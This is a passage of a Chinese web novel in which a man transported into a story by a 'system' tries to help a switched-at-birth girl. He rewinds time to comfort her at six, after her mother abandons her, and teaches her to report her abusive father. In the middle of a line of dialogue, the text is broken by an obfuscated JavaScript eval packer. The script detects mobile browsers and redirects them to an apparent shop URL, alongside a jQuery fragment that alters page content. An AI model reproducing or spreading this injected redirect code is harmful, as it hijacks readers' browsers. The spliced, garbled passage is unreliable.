林梓潇的瞳色与林母、林景然如出一辙，并不是常见的黑色或是棕色，而是天然的琥珀色，在被阳光照耀的时候会更明显，清浅而深邃。 她与林母对视，看 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林梓潇依然是沉默，也没有要伸手接过林景然手里那叠纸的意思，似乎对自己的身世秘密毫不在乎。 林梓潇看似极为镇定，但旁观的顾执却注意到，她落在身侧的手已经紧紧攥成了拳头，几不可见地微微颤抖着。 她不想相信这一切，可似乎所有已知的事实都在告诉她，这些都是真的。 这么狗血的剧情，竟然会降临到她的身上。 林梓潇可以接受一切，不管是母亲的抛弃，还是父亲的虐待，这些她都可以全盘接受，也从来没有自怨自艾地觉得命运如此不公，让她的人生如此不堪。 她只是被迫地接受了这一切，并努力用自己的方式对抗着。 可林梓潇不能接受，有人突然出现，告诉她她的人生其实本不应这样艰难。 他们看起来那么光鲜亮丽，和这个灰扑扑的小镇格格不入，而她的人生，本来也应该这样五彩缤纷。 这让她苦苦挣扎的十七年变成了一个巨大的笑话。 不能深想，越是往深了探究，不甘的心就越发无法控制，她的心脏从没跳动得这么剧烈，好像已经处于失控的边缘了。 林梓潇努力保持镇定，由于十分用力地压制着情绪，她的声音变得有些沙哑：“你们回去吧，这些……我就当不知道。” 林母有想过林梓潇会不愿意跟她回去，毕竟那个错误改变的是整整十七年，也是这孩子人生的全部。 她关心则乱，一时不知道该怎么劝林梓潇。 比她更激动的是李老师，他生怕林梓潇脑子一个糊涂，错失了能够跨越阶级的大好机会。 京城的豪富人家，是普通人寒窗十年，奋斗二十年都够不上的门槛！ “梓潇，你别任性，别闹脾气！现在你爸也去世了，你一个小姑娘怎么自己生活？你知道……” 林梓潇看着李老师张张合合的嘴，突然觉得周围的声音越来越虚幻，像隔着玻璃一样听不真切，她努力想要听清，那些声音却好像自己长脚了似的，不肯靠近她，也不肯进入她的脑子，让她失去了一切思考的能力。 随即，她的脑海里又响起尖锐的耳鸣声，从左耳贯穿至右耳。林梓潇不堪忍受，痛苦地闭了闭眼睛。 闭眼的同时，眼前阴魂不散地闪现着那个画面。 男人直直的从楼上一跃而下，快到她根本没法反应过来，手臂上夹着的球无知无觉地掉落了。 陈让动作够快，迅速地伸手捂住了她的眼睛，一时间鼻腔里只有陈让手心微微濡湿的汗味。 但她还是看到了，看到了男人血肉模糊，脑浆迸裂，死不瞑目的样子。 4. 第四章 林梓潇控制不住自己，浑身战栗。 那水泥地上缓缓流淌的血迹好像无孔不入地蔓延了过来，眼前出现一股血色，她犹如溺水般难以呼吸。 顾执察觉到林梓潇的不适，皱了皱眉头，起身上前。 他见林梓潇眉头紧锁，额头上冒着虚汗，看起来很是恍惚，便伸手揉了揉林梓潇额角的穴位，轻声询问道：“你还好吗？是不是身体不舒服？” 顾执的祖母有偏头痛的症结，他从前专门跟中医师父学过穴位按摩的手法，对缓解头痛很有一套。 林梓潇感受到太阳穴上温热的触感，一起覆盖过来的还有淡淡的茶叶香气，像是龙井茶叶被冲泡开时，溢出的带着茶香的水汽，令人安心。 她有些缓和过来了，平复过后，慢慢睁开了眼睛。 琥珀色的瞳孔璀璨又深邃，少见地带着些无措，露出一丝脆弱。 这和剧本里的反派完全不一样，那么真实、鲜活。 顾执第一次真切感受到，林梓潇不是一个平面的纸片人，而是真真正正存在的，活生生的人，纸上三言两句平淡盖过的，都是她真切经历的一生。 而现在，她也还只是个十七岁的小姑娘。 这孩子比自己小了十岁，想起自己高中时的样子，顾执心里柔软了一些，声音也不自主的放柔，耐心地安慰道：“别怕，我们会尊重你的想法。”。 “阿姨，你也别太担心，我们先给梓潇一点空间，让她好好安静一下，也整理一下头绪，好吗？”顾执说话沉稳，处于慌乱中的林母不由自主地把他当成了主心骨，忙不迭地点头。 “那……我们就先走了，梓潇你再好好考虑一下，这两天我们会留在镇子这里。”林母朝她露出一个尽量轻松的微笑。 压力缓解，林梓潇的症状也好了一些，她沉默地点了点头，在三人离开前，望了一眼顾执。 三人并没有立刻离开学校，林母和林景然去找林梓潇的班主任和任课老师继续了解她的具体情况，而顾执则是选择在校园内闲逛。 在操场边的花园角落，他看到了林梓潇的身影。 她坐在长椅上，指尖的香烟猩红点点，烟雾飘袅在空气中，她却没有抽，只是夹着烟静静地发呆。 顾执盯着她看了片刻，走过去。 “林梓潇？” 林梓潇回过神，下意识先摁灭了手里的烟。 发现来人是顾执，她神色有些戒备，表情里带了无声的询问。 “啊，我还没向你介绍过自己吧？”顾执弯了弯眼睛，尽量让自己的笑容显得亲和，“我叫顾执，我家里和林家是世交，你还在你母亲肚子里的时候，两家大人就给我们俩订过婚约。” 林梓潇静静地盯着他，眼神里早就没有了先前的无措，只有漠然和淡淡的嘲弄，半晌后，她开口。 “婚约……”林梓潇轻声嗤笑，“……真像八点档的偶像剧。” 顾执怕她感到不快，又解释道：“不过你不用在意，这只是大人间的玩笑话。” “只是玩笑话，你又何必对初次见面的我提起，”林梓潇并不买账，眼神里带着显而易见的抵触，“再者说，这十几年来，你所谓的婚约对象，应该是另一个女孩，连这都可以说变就变，你们京城人的婚约，未免也太廉价。” 她确实很聪明，即使在这么混乱的情况，大脑也保持着逻辑性，理性地分析顾执的话。 顾执本想用两家指腹为婚的婚约作为敲门砖，拉近与林梓潇的距离，却没想到适得其反，反而让她更加戒备。 “……抱歉，我没有恶意，只是希望能和你变得熟悉。”顾执被她怼得哑口无言。 “我们非亲非故，你却和我所谓的母亲哥哥一起赶来，急着和我熟悉，不觉得自己太急功近利了吗？”林梓潇一眼就看穿了顾执是带着目的接近她，浑身上下的刺立刻竖了起来，一副不想跟他多聊的样子。 顾执顿时觉得头疼。 林梓潇的戒备心比他想象中要重得多。 也是，她并不是在童话般美好的世界里长大，而是在危机四伏的现实主义世界，自然会对周围的一切更加警惕。 要获得她的信任和好感，并不是一件容易的事。 林梓潇的语气冷冷的：“你回去告诉他们吧，我不会回京城，不用再想着劝我了。” 顾执听到这话，愈发觉得头疼不已。 小说里有提到过，林梓潇性格固执，决定的事情就不会轻易改变，她既然说了不回京城，就是真的不会回去。 他确实是急功近利了，这一步行差踏错，竟然让蝴蝶翅膀扇动了起来，导致剧情走向难以控制的方向。 顾执实在是头疼，他确实是有目的，可目的是为了让她获得幸福。 林梓潇对突然出现的亲人以及“未婚夫”都充满了戒备，尤其是在顾执试图接近后更甚。 顾执把自己和林梓潇的交流告诉了林母和林景然，林母顿时大惊失色：“怎么会？她真的这么不愿意和我们回去吗？我再去和她聊一聊！” 林景然拦住她：“别，妈，太操之过急了只会把她越推越远，让她自己先想想清楚，我们明天再找她。” 林母关心则乱，忍不住红了眼眶，声音都带了哭腔：“怎么会有这种事……” 林景然拍拍他妈的背，轻声安慰她。 那一头，林梓潇找到正在校门口等她的陈让，神色有些阴郁。 “怎么了？”陈让在校门口的小店买了根烤肠，一边吃一边问，声音含含糊糊的：“你这是森莫表情？老李跟你说啥了？” “没什么，就是说我不是林恺生的，亲生母亲找过来了而已。” “哦，你亲妈找过来了……”陈让反应过来，嘴里的烤肠差点喷出来：“你亲妈找过来了？？！！” “嗯……他们很有钱，是从京城来的。” 陈让咽下烤肠，长大了嘴巴：“你是公主小妹啊？皇甫潇？” 林梓潇无语地看着他：“……” 不过被陈让这么一打趣，她心情倒也好了不少。 陈让把手里的另一根烤肠递给她：“小妹，吃根烤肠平静一下。” 林梓潇一把夺过他手里的烤肠，转身走开。 陈让追上去：“他们想把你带回去吗？那你是怎么想的？” “……不知道，我心里很乱，不想跟他们回去。”林梓潇低着头，情绪有些低落。 陈让还是一副乐天派的样子，在林梓潇旁边蹦蹦跳跳的：“那就不跟他们回去呗，你就当自己是孙悟空，石头缝里蹦出来的，天生地养，无父无母，反正我觉得你跟孙悟空一样厉害，就算没有父母也没关系。” 林梓潇抿唇笑了笑，心情好了不少，薄唇扬起的弧度带有少女特有的清纯和内敛。 顾执坐在车子的副驾，远远看到陈让和林梓潇说笑的样子，心里更觉得沉闷。 他一方面需要林梓潇回到京城，才能顺利地完成任务，可另一方面又觉得不忍，或许她坚持现在的选择，对她才是最好的结局。 回到京城，她需要面对太多未知，以及落差，心中的愤懑时刻撕扯着，才让她变得那样阴郁偏执。 可如果她不在自己身边，又要怎么努力让她幸福？ 林梓潇现在对他十分防备，这蠢系统，不如给他陈让的身份。 【……宿主，我听到你骂我了。】冰冷的机械音突然再次响起。 【嗯，】顾执怡然自得【骂给你听的。】 【……】 * 到了第二天，没等他们去找林梓潇，林梓潇竟主动通过李老师约了几人吃饭。 三人到的时候，林梓潇正在大堂点菜，这家酒楼是陈让爸爸的产业，林梓潇和店里的经理相熟，经理亲自跟着她点菜，两人有说有笑的。 见林家几人和顾执到了，林梓潇收敛了脸上的笑意，淡淡道：“包厢在三楼888，你们先上去坐。” “哦哦，好。”林母连连应声。 林梓潇虽然在小镇长大，但气度一点都不差，严肃的样子和她亲爸很像，林母一个夫管严，下意识就乖乖听话。 林梓潇转头问经理：“几个菜了？” 经理看了看手里的单子：“一共七个，两个凉菜，四个热菜，还有一个甜点。” “好，那再加一条东星斑和一个果盘吧，东星斑做广式清蒸，就这样，”林梓潇考虑了一下，“酒水就不用了，上壶鲜榨果汁吧。” “好嘞，我去给你挑条大的。”经理朝林梓潇笑了笑，就要亲自去水产区给她挑鱼。 “于姐，直接帮我把帐结了吧。”林梓潇叫住她，掏出钱包钱包要结账。 “哎哟，结什么呀，我们陈老板都说了，你来吃饭不用付钱，挂他账上就行。”经理连忙制止她。 林梓潇也不推辞，笑着同她客套几句后就准备转身上楼。 林景然在楼梯拐角等着她点完菜，见她上楼，立刻伸手拦住她。 林景然露出微笑：“梓潇？我昨天没有跟你介绍过自己吧，我叫林景然，和你是异卵双生子，是你哥哥，不过呢也就比你大半小时。” 林梓潇看向他，神情略显疑惑：“……你好。” 虽然是异卵，但林景然跟她长得确实很像，只是他眉眼更男性化一些，眼睛也比她狭长一些，骨骼更硬朗分明。 虽然长得很像，但神态又完全不同，因为林梓潇笑的幅度从来不会这么大。 “过了一个晚上，我想你也想清楚了一些，不要因为一时的想不通，给自己的未来添加阻碍，你知道的，家里在京城的条件，足以让你少奋斗五十年。”林景然劝道。 这是实话，甚至有可能不止五十年，林家现在累积的资产，普通人穷尽一生也无法企及，就算她林梓潇聪明绝顶，不是凡间俗物，靠自己的努力，顶多也就是混成林家顶级的打工仔罢了。 穷富家庭之间的距离，看似不远，其实有如天堑，又何况林家这种京城的巨富家庭。 林景然苦口婆心：“我理解你心里可能有些怨恨，但发生这种事，是大家都不想看到的，妈妈知道后也第一时间通过数据库找到了你，她心里很愧疚，觉得是自己当时疏忽了，没有认出你，才让你被抱错。” “……”林梓潇沉默地看着他。 林景然以为她是听了进去，又劝道：“梓潇，可能你现在没有办法想象，好的家庭条件会给你带来多大的帮助，况且你的养父也去世了，你在这里并没有什么牵挂，跟我们回家，只有好处没有坏处。” 两人站在一楼大堂和二楼包间的连接处，大堂里噪杂的人声隐隐约约地传来，兄妹俩看着对方和自己相似的眉眼，一下子陷入了沉默。 就好像从那张相似的面孔，看到了不一样的人生。 林景然生长在幸福富裕的家庭，即使因为受到了良好的教育，在家人的保护下接触过社会，显得很成熟，但眼睛仍然是清澈纯真的，那是一种被世界善待的特征。 而林梓潇从小身处的就是残酷的世界，遇到过数不清的恶意，她的眼睛深不见底，让人无法轻易窥视，但如果仔细看，就可以探得其中疯狂的万分之一。 林梓潇突然笑了：“是啊，林恺死了。” 林景然顿了顿，愣愣地看着她，一时忘了自己的台词。 “你们把我调查的一干二净，想必也知道，高中前，我一直在被林恺虐待，”林梓潇定定地看着他那双和自己如出一辙的眼睛，“那你知不知道，我最痛苦的时候，总是幻想有人可以帮帮我……就像现在这样。” 林景然教养不错，可他毕竟生活优渥，他没有察觉到，在面对林梓潇的时候，自己总带着若有若无的优越感，像是确信没有人会傻到不想去京城享福。 林景然家境好，接触到的自然也是美好的世界，有钱人家的孩子，身边都是好人，他甚至没有办法想象林梓潇从小过得都是什么样的日子。 “可是没有，在我最需要的时候，你们没有出现，在林恺死了，我以为自己终于解脱了的时候，你们又像救世主一样降临，高高在上地想要施舍我。”林梓潇一步步地逼近他，眼神冷冽，让人如坠冰窖：“……你以为自己是谁？” “大少爷，你有没有一秒钟想过，如果当年被错换的那个人是你，身处这样的家庭，你要怎么办？还能坦然说出这些话吗？” 林景然被她盯着，一时失神，下意识地后退，直到背后抵着的是一面冰冷的墙，退无可退。 林梓潇这种从小混迹在市井的人，爆发出的狠戾，是林景然这样的大少爷招架不住的。 他紧张到结巴，磕磕绊绊地道歉：“对……对不起。” 林梓潇沉默不语地看着他。 京城里各个都是上赶着巴结讨好林家的人，林景然何曾见过她这种难说话的疯子，下意识就道了歉。 看他傻乎乎的样子，林梓潇又觉得无趣。 其实也不关他的事。 “言尽于此，当然，往后我也会承担今天的清高带来的后果。” 说完，她率先走开，徒留林景然一个人在原地发愣。 林景然突然发现，林梓潇和爸爸真的很像，比自己和林蔚然都要像，尤其是冷脸盯着自己时的那股狠劲，简直一模一样，现在想起来，还有点心有余悸。 他突然有了一种直觉，或许，即使不回林家，她也会有很好的未来，甚至不输于林家能够带给她的。 林梓潇把林景然甩在身后，独自一人走进了包厢。 服务员已经上了凉菜和一个清炒时蔬，不过林梓潇她人没来，林母都不敢动筷子，小学生一样端正地坐在原地。 见林梓潇进来，又立刻起身迎接。 “都坐吧，”林梓潇反而更像是长辈，“镇里也没有什么高档的饭店，委屈几位了。” “没有没有，这里挺好的！”林母连连摆手。 顾执笑了笑，“阿姨，你先坐吧，梓潇今天应该是有话要说。” “嗯。”林梓潇和两人隔了几个餐位入座。 林景然姗姗来迟，推门进来后小心翼翼地看了林梓潇一眼，坐在了顾执旁边。 顾执有些好笑地看着林景然和林母。 第一次看到妹妹对哥哥和妈妈血脉压制的。 见大家都坐好了，林梓潇直接干脆道：“都到了，我也就不铺垫了，我不打算去京城，吃了这顿饭，几位就请回吧。” 林景然被她怼了一通，什么都不敢说了，乖乖当鹌鹑。 倒是林母，眼睛里一下子蓄了一大泡泪：“梓潇……” “也不用对我愧疚，这件事说到底大家都没有错，实在心里难受，可以给我卡里打点钱，要考大学了，我挺缺钱的。”林梓潇有备而来，从口袋里掏出一张写了卡号的纸。 “梓潇，你跟我们回去，能够受到更好的教育，当然也不会让你缺钱！”林母还想挽回。 “哦，那我要求和我抱错的那个女孩换回来，可以吗？”林梓潇直击林母命门。 林母果然一下子愣住了：“……换回来？” 林梓潇面色不改：“嗯。” “蔚然她……她被我们保护的太好了，吃不了这种苦……而且家里养三个孩子完全没问题的！”林母养了林蔚然这么多年，从小看着她长大，显然也舍不得林蔚然。 林梓潇不紧不慢地喝了一口服务员倒好的茶水。 茶叶泡出来的第一壶茶，口感总是会格外的苦涩，或许，那样娇生惯养的少爷小姐，能吃的苦也只有这苦茶了吧。 林梓潇笑了笑，轻飘飘地说：“可这种苦，我吃了十几年，我觉得不公平，我吃了这么多苦，而她却在家里享了这么多年福。” “这……”林母迟疑了。 林梓潇已经从林母的迟疑中得到了答案。 比起她这个亲生女儿，她似乎更放不下自己养育了十几年的养女。 “你做不到。”林梓潇肯定道：“既然做不到，就回去吧，给我打点钱，就当买断这十七年养育之恩。” 说完，林梓潇也不打算留了，她站起身，正好服务员端了菜上来，林梓潇把桌子上的菜转到三人面前：“你们慢慢吃，这家餐馆味道挺好的。” 留下这句话，她就头也不回地走了，只留下桌上沉默的三人。 顾执头疼地揉了揉额角。 他的任务算是彻底陷入困境了。 林梓潇看样子是下定决心了，如果她选择不回京城，他就等于失去了和她相处的机会，相隔十万八千里，他又不是神仙，怎么隔空让她幸福？ 正当顾执觉得头疼不已的时候，系统的声音再次在脑海里响起。 【你好宿主，忘了告诉您，您有一次时光回溯的机会，目前系统检测到您的任务遇到阻碍，请问您要使用时光回溯吗？】 顾执惊喜：【回溯到什么时候都可以？】 【您出生后的剧情节点，都可以。】 顾执真想直接回到林梓潇出生时，干脆直接阻止护士抱错两个婴儿，这样一来，林梓潇想不幸福都难。 可惜按照剧本设定，他只比林梓潇大了两岁，即使回到那时候，他也不过是个路都走不稳的两岁宝宝，什么都做不了。 顾执回忆小说里的情节，选择了最早的一个林梓潇人生发生转折的剧情点：“回到林梓潇六岁时。” 在林梓潇六岁时，她的养母抛弃了她，那也是小说中描述的最早的，林梓潇所遭受过的痛苦。 【好的宿主，作为您使用时间回溯技能的附赠，系统会为您自动安排剧情，方便您与任务对象相遇】 * 有了这个金手指，事情就好办多了。 顾执眼睛一闭一睁，眼前的景象就变了样。 九几年的小镇，扑面而来的是年代的气息。 但和十年后相比，小镇变化其实并不大，与日新月异的大城市相比，这里像被放慢了时间。 顾执没时间感受复古的气息，他匆匆迈开腿去找林梓潇。 由于时间回溯，顾执的身体和年纪也相应地变小了，习惯了一八七视角的他，有些不适应这么低的海拔。 不过也来不及适应了，他努力倒腾自己的小短腿，按照系统的指示来到一栋老旧的居民楼楼下。 这是一个夏日的午后，楼道里很安静，唯一的声音只有阵阵蝉鸣。 女孩稚嫩的哭声打破了这份平静。 “妈妈！妈妈！” 楼道里一阵脚步声，高跟鞋夹杂着小朋友穿的会咯吱作响的小凉鞋的声音，小女孩哭的很可怜：“呜呜呜呜，妈妈呜，你要去哪里呀妈妈？” 顾执下意识的躲到了一楼楼梯间的角落，藏匿起自己小小的身形。 高跟鞋的哒哒声并没有因为女孩的哭泣而慢下来，一刻不停地往下走，女人敷衍地哄道：“妈妈要出去办一趟事，放心，很快就回来，潇潇你快点回家，不要跟着妈妈了。” “妈妈要去哪办事？不、不可以带着潇潇吗？”女孩还是追在后面，抽抽嗒嗒地问。 “工作的时候是不能带着潇潇的，潇潇乖。” 女人加快了脚步，很快就走到了一楼。 小女孩抽泣的声音没有停，她固执地要追上女人，但由于她腿太短，台阶太高，她又太心急，脚下一滑，在楼梯上扑通一下摔倒了，接连滑下好几个台阶。 她顾不上背上屁股上火辣辣的疼痛，小手在地上一撑就要自己坚强地站起来。 女人看到女孩摔倒，眼里闪过一丝不忍，她终于停下脚步，放下了手里的行李箱，去扶她起来。 女孩被她拉起来后就拽着她的手不愿放开了，“妈妈，爸爸说你们离婚了，这是真的吗？离婚，就是分开了，是不是？” 女人尴尬地笑了一声：“你爸什么样你又不是不知道，听妈的话，别信爸爸的。” “妈妈，”女孩子一边抽泣一边说“你，你是不是要走了，是不是永远不回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578454|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了？” “怎么会？”女人弯下腰摸摸女孩的头，“妈妈最喜欢潇潇了，怎么会不回来？妈妈真的就只是出去办趟事，马上就回来了。” “真，真的吗？” “当然了，”女人轻声细语，“乖宝宝，潇潇是最听妈妈话的对不对？放开妈妈，要不然妈妈就要赶不上车了，赶不上车就会浪费好多钱，这些浪费的钱可以给潇潇买好多好多的糖糖呢。” 女孩子努力地压抑着抽泣，极其不舍地放开了拉着女人的手：“那妈妈，你一定要回来哦！” “妈妈肯定会回来的，还会给潇潇带漂亮的娃娃回来。”女人拿起地上的行李箱，在背对着女孩的时候笑容逐渐变得僵硬。 她缓缓地走下楼梯，女孩亦步亦趋地跟在她身后，一直到女人进了出租车车厢，女孩才勉强地牵起一丝笑意，朝她挥了挥手。 女人使劲关上车门，很重的一声“砰”，像是要与这里的一切决裂。 出租车绝尘而去，女孩不甘地跟在车后面跑了几步， 似乎知道结局早已落定般，她最终还是停下了追逐的脚步，落寞地站在原地。 出租车的车屁股都已经看不见了，小梓潇忍无可忍地哭出了声，她无助地蹲下身，止不住地开始哭泣，晶莹的泪珠一串串地往下掉，整张小脸都布满了泪痕。 她这副样子，和顾执刚刚见到的那个冷漠决绝的女孩，根本不像是一个人。 六岁的林梓潇，还并没有长成什么阴险狠辣的反派，也不像十七岁时那样浑身带刺，她长得粉雕玉琢，脸颊两边还有可爱的软肉，仿佛轻轻一掐就能滴下水来，是个看起来就非常讨人喜欢的小宝贝。 十七岁的林梓潇，看起来早已没了儿时的天真可爱，她不爱说话，戒备心强，习惯用冷漠来保护自己。 这十一年，要努力长大，一定辛苦了吧。 顾执从阴暗的楼梯间走进阳光，缓步走到小梓潇身边蹲下，和她的视线齐平。 他尽量把声音放得轻柔：“小妹妹，你怎么哭了？” 小梓潇水盈盈的大眼睛里蓄满了泪珠，可怜巴巴地大哭：“妈妈……妈妈不要我了，她丢掉我走了，呜呜呜呜呜……” 顾执有些惊讶。 毕竟林梓潇现在还只有六岁，他以为刚才女人的一番话已经骗到了林梓潇，才会放她走。 可小梓潇年纪虽小，心里却什么都知道。 妈妈走的时候带走了保险柜里所有的金器和首饰，那是对妈妈很重要的东西，如果不是准备永远离开，又怎么会带走那些。 可是她和保险柜里那些金光闪闪的首饰不一样，她没有价值，所以妈妈没有带走她。 看着面前哭得可怜兮兮的小女孩，饶是顾执只把她当成任务对象，也不由觉得有些心疼，他伸出了手，搂住小奶团子一样的女孩，拍了拍她的背。 六岁的林梓潇，很小很软，比起十一年后看起来清冷嶙峋的林梓潇，要可爱无害多了。 现在的林蔚然，应该正在父母怀里撒娇，享有世界上一切的美好和宠爱，而本该拥有这一切的林梓潇，却要承受这么多痛苦。 不管她以后会是多么十恶不赦的坏蛋，现在也只是一个被妈妈抛弃的，可怜的六岁小孩。 顾执抱着小梓潇，轻轻拍着她的背，安抚她的情绪。 “是不是潇潇不够乖，为什么带走金子，不带走潇潇……”小梓潇止不住哭泣，抽抽嗒嗒地问。 “不是你的错，”顾执没和这么小的孩子相处过，有些手足无措地安慰她，“别哭啊。” 在顾执坚持不懈地安抚下，小梓潇终于渐渐地平复了下来，从嚎啕大哭转为了轻轻抽泣。 顾执从兜里掏出手帕，给她擦眼泪。 手帕旁还有两颗精致漂亮的糖果，他一并放在了梓潇的手心：“哥哥请你吃糖好吗，你不要哭了。” 终于从巨大的悲伤中抽离出来的小梓潇，这才开始仔细观察安慰她的好心哥哥，她一边小声呜呜咽咽，一边盯着顾执看。 小孩子只差一岁就相差很大了，顾执大了她两岁，比她高了大半个头，身上穿着精致的小衬衫和背带裤，看起来像个小大人，可靠极了。 小梓潇一边哭一边把糖果塞进嘴里，还不忘礼貌道谢：“谢谢哥哥。” 顾执哭笑不得地揉揉她的头。 小时候的林梓潇实在是很可爱，身上看起来有点瘦，但小脸是肉嘟嘟的，粉粉嫩嫩，眼睛很大很灵，完全就是一个漂亮宝宝。 顾执把小朋友从地上拉起来，问她：“甜吗？” 小梓潇鼓着小嘴含了一会，奶呼呼地说：“甜……” 顾执笑了笑，有些被她可爱到了，忍不住伸手捏了捏她软趴趴的脸蛋。 他把林梓潇带到路边的长椅上坐下：“潇潇，你不用难过，这不是你的错。” 小朋友对同龄人都没什么戒心，说两句话就可以变成好朋友，更何况是顾执这种看起来漂亮又可靠的小哥哥。 小梓潇比十七岁的林梓潇好搞定多了，她对这个温柔的小哥哥充满了好感，立刻就向他吐露了心声。 梓潇小小声的说：“对，不是潇潇的错，是爸爸的错，是爸爸逼走妈妈的……” 顾执追问道：“爸爸……对妈妈做什么了吗？” “爸爸总是无缘无故地打人……每天喝的醉醺醺的，打妈妈和潇潇…家里都是血，都是红红的……”小姑娘似乎是想起了什么不好的回忆，小嘴一撇，大眼睛里又蓄起了泪花。 顾执有些沉默。 即使他已经从寥寥几笔的文字里了解过林梓潇的一生，可当这一切发生在自己的眼前的时候，还是不免让人觉得触目惊心。 小姑娘才六岁，普通人家抱着宠还来不及，什么样的人渣，才会连这么小的孩子都打。 “呜呜呜……坏爸爸，都是爸爸的错…”林梓潇一哭起来就止不住，眼泪不要钱似的往下掉。 顾执见她又哭成了小花猫，有些哭笑不得。 长大后的林梓潇沉稳寡言，实在看不出，小的时候竟然还是个小哭包。 顾执捏着手帕替她擦眼泪，有些手忙脚乱：“别哭别哭，潇潇最坚强了。” 顾执是家中独子，没有同辈，唯一的姑姑也一直未婚，因此他没有什么和小孩相处的经验，哄的有些笨拙。 好在林梓潇实在乖的不行，立刻就被哄好了，她重重地点了点头，自己安慰自己：“嗯！潇潇坚强！潇潇不哭！” 顾执被她可爱到，忍不住笑起来，又捏了捏她软软的小脸：“潇潇，爸爸打你，你知道要怎么做吗？” 梓潇疑惑地歪了歪头：“要躲起来？” 她实在太小了，又缺乏教育，还一直被PUA说家长打小孩是正常的，脑子里根本没有法律的概念。 小说里描写的林梓潇也是如此，因为从来没受到过法律的保护，她一直缺乏对法律的信赖和敬畏之心，拥有力量后，对于养父，她以暴制暴，在黑化后的剧情里，她也一直游走在法律的边缘，做下很多错事，这才导致她被抓住把柄，最后被主角们扳倒。 如果林梓潇行事再规矩些，以她的能力和天赋，故事的结局是什么样还真不好说。 法律教育要从娃娃抓起，顾执决定趁这个机会认真教一教小法外狂徒。 “躲起来是对的，但是潇潇，只是躲起来的话，爸爸下次还是会继续打人，不会改的，对不对？” “那要怎么办呢？”潇潇猫猫歪头，“潇潇打不过爸爸，爸爸力气很大。” 顾执扶额。 潇潇果然是未来的反派，小反派小小年纪，脑子里就有以暴制暴的想法了。 顾执揉揉她毛茸茸的小脑袋，教导道：“潇潇是小朋友，所以应该找别的大人来帮忙，对不对？下次爸爸再打你，潇潇就去找老师、找社区和妇联的叔叔阿姨，告诉她们爸爸是怎么打你的，让她们来帮你，好不好？” 小梓潇再次真诚发问：“阿姨们打得过爸爸吗？她们会让爸爸不敢再打潇潇吗？” 顾执再次扶额。 她竟然以为是让她去找别的大人来打她爸爸，不愧是小反派，脑回路也很反派。 “不是的，阿姨们不是来打爸爸的，是来教育爸爸的。打人是错的，是不是？潇潇在上学的时候，如果有同学打了人，老师就会来惩罚他，教育他，对吗？” “嗯。”潇潇认真听讲，乖乖点头。 “所以爸爸打你也是不对的，就算是父母，也不可以随便打人。在这个世界上，做错了事情要受惩罚，法律就像是老师，会大家所有人的老师，会惩罚所有做坏事的人，潇潇告诉这些大人，大人们就会让法律来保护潇潇，惩罚爸爸。”顾执尽量用浅显的话教导道。 林梓潇郑重地点点头。 她也是第一次知道，原来爸爸做的都是错事，就算是爸爸，也不可以随便打她的。 顾执回想剧本里潇潇养父的无耻行径，觉得这种方式可能还是治不住他，于是又教了一个更有效的方法：“潇潇知道警察吗？警察阿姨和警察叔叔是专门来抓做错事的人的，爸爸要是打人了，潇潇可以打报警电话，让警察叔叔来抓走爸爸。报警电话潇潇知道吗？” “知道的，是110！”潇潇骄傲地回答。 这个幼儿园里教过，她记得很牢。 “真棒。”顾执满意地点点头。 林梓潇现在虽然小小的弱弱的，不过好在高智反派的智商还是在的。 “对了哥哥，你还没有告诉我你叫什么呢？”潇潇没忘记要问新朋友的名字。 “顾执。照顾的顾，执着的执。”虽然知道小朋友也不一定识字，但顾执还是很认真地告诉她。 “照顾的顾…执着的执…”潇潇其实还没认全字，会写的也不多，但她还是努力地记了下来。 潇潇也不忘礼尚往来：“潇潇的大名是林梓潇！” 不过她暂时还不知道自己的名字是哪几个字。 5. 第五章 系统告诉顾执，他来到豫西镇的这段剧情，已经被自动修复补足了。 小镇虽然经济条件稍稍落后，但是风景极为秀丽，在郊外有一座很出名的山庄，据说古时皇帝也常来这里避暑。 因着离京城近，风景又好，空气也清新宜人，这座山庄被开发商定位为高端度假村，很多京城富户都会来这里买房度假。 当时林母就是在山庄修养时，意外提前了预产期，于是就近在镇医院生产，这才造成了错换。 系统将顾执出现在小镇的剧情，修复为顾家全家来山庄度假，顾执一人偷跑出来，偶遇林梓潇。 顾执单独出来已经很久了，估计顾家都找疯了，系统催他赶紧回去。 顾执私心想多和林梓潇呆一会，让她好好记住自己这个小时候给过她温暖的小哥哥，或许以后任务也会好完成一些。 于是顾执对系统的催促置之不理，牵着小孩的手往外走。 刚才跑过来的时候顾执注意到小巷子里有个小卖部，门口放着一个很显眼的冰柜。 有钱人家的孩子，从小要学会理财，因此家长从不苛刻零花钱，顾执摸过口袋，他一个七岁小孩，口袋里竟然有一沓现金，请小姑娘吃点冰棍儿和零食应该是绰绰有余。 顾执领着潇潇走到小卖部，塞给她几张红票票，大方地表示：“潇潇，想吃什么自己挑。” 霸道总裁的形象初见雏形。 小姑娘的嘴吃惊地张成了O型。 在六岁小屁孩的眼里，几百块简直就是巨款。 她从来都没有见过同龄人手里有大红色的钞票，隔壁楼的那个小胖子，拿着蓝灰色的十元钞票就能在大家面前摆阔了。 林梓潇崇拜地看着顾执，啪啪啪地拿小胖手给他鼓掌。 但随后她又不好意思起来。 爸爸妈妈在家里吵架，常常把钱挂在嘴边，没钱、没钱的，梓潇虽然一知半解，但她下意识里觉得这是很珍贵的东西，随便乱用可能还会引发激烈的争吵。 而且，爸爸妈妈很少给她买这些东西……所以她认为，这都是很珍贵的东西。 梓潇不安地捏了捏衣角，笑着对顾执说，“哥哥，我刚吃过好多东西，不饿的。” 小孩子就是好懂，心里想着什么都明明白白地写在脸上，顾执好歹也比她多活了二十年，她在想什么，他知道的清清楚楚。 顾执温柔地说：“哥哥有钱，潇潇不用担心。” 他拿起一包蕃茄味的薯片塞进她怀里，“潇潇好好记住这一天，将来换你买给哥哥吃，好吗？” 一百块，换林梓潇记住他，很值了。 林梓潇水灵灵的大眼睛看着他，呆呆地点了点头。 